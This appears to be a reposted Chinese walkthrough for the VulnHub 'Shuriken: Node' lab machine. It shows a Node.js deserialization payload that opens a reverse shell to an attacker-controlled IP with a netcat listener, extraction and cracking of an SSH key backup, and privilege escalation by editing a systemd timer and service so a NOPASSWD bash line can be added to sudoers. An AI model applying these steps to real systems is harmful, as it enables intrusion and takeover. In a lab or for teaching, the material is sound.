大家好,欢迎来到IT知识分享网。
靶机链接:
Shuriken: Node ~ VulnHub
渗透工具:
Get Kali | Kali Linux
渗透流程
此处省去部署的过程
目标探测
nmap 192.168.56.0/24
192.168.56.x是我的虚拟机所在的网段
这个网段只有两台虚拟机,所以192.168.56.110就是要渗透的靶机。
这个靶机开放了http端口,尝试访问:
这是一个静态的页面,有一个登录的入口,除此之外没别的信息了,其他的网页扫描工具也扫不出来什么东西。
打开f12开发工具,检查网站的cookie:
发现刷新前后cookie相同,复制session值,对其进行URL解码后进行base64解码:
CyberChef
得到:
{"username":"Guest","isGuest":true,"encoding": "utf-8"}
将内容修改再编码:
替换原来的cookie,并刷新网站:
发现标题被改变,推测可能存在漏洞
漏洞利用
大致思路就是利用了 Node.js 反序列化错误进行远程代码执行
首先利用脚本,填写攻击机ip和端口生成payload
Node.Js-Security-Course/nodejsshell.py at master · ajinabraham/Node.Js-Security-Course · GitHub
python3 nodejsshell.py 192.168.56.101 4444
补全json
{"rce":"_$$ND_FUNC$$_function (){生成的payload放在这里}()"}
base64+URL编码:
打开终端监听端口:
nc -lvnp 4444
成功反弹shell
转换为交互式界面:
python3 -c 'import pty;pty.spawn("/bin/bash")'
提权
查看用户名,找到一个叫serv-adm 的用户:
检查是否有可用的备份文件
cd /var ls -la
进入backups文件夹
cd backups ls
观察到有 passwd.bak 和 shadow.bak 以及 ssh-backup.zip,但passwd.bak和shadow.bak无法打开,将 ssh-backup.zip 复制到 /tmp 目录中,并发送给kali
cp /var/backups/ssh-backup.zip /tmp python3 -m http.server
kali接收:
http://192.168.56.110:8000/ssh-backup.zip
解压后得到一个私钥,对私钥进行解密:
ssh2john id_rsa > hash john --wordlist=/usr/share/wordlists/rockyou.txt hash
得到密钥密码:
shuriken1995@
尝试登陆:
ssh -i id_rsa serv-adm@192.168.56.110
输入密钥的密码,成功登录
查看当前用户权限:
sudo -l
发现两项特殊的服务,寻找并转到所在的位置:
locate shuriken-auto.timer
编辑:
nano shuriken-auto.timer
发现每30分钟运行shuriken-job.service,这里将频率改成一分钟一次
然后编辑shuriken-job.service,注释掉Type=oneshot,将执行的文件改为自己设定的文件
设置自定义文件,修改sudoers权限:
nano test.sh
保存,然后停止shuriken-auto.timer再执行shuriken-auto.timer,sudoers就可以被直接编辑,
/bin/systemctl stop shuriken-auto.timer /bin/systemctl start shuriken-auto.timer
nano /etc/sudoers
添加一句:
serv-adm ALL=(ALL) NOPASSWD: /bin/bash
保存退出,然后将sudoers的权限改回440:
接下来就可以获取root权限:
sudo /bin/bash
获取flag:
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/148137.html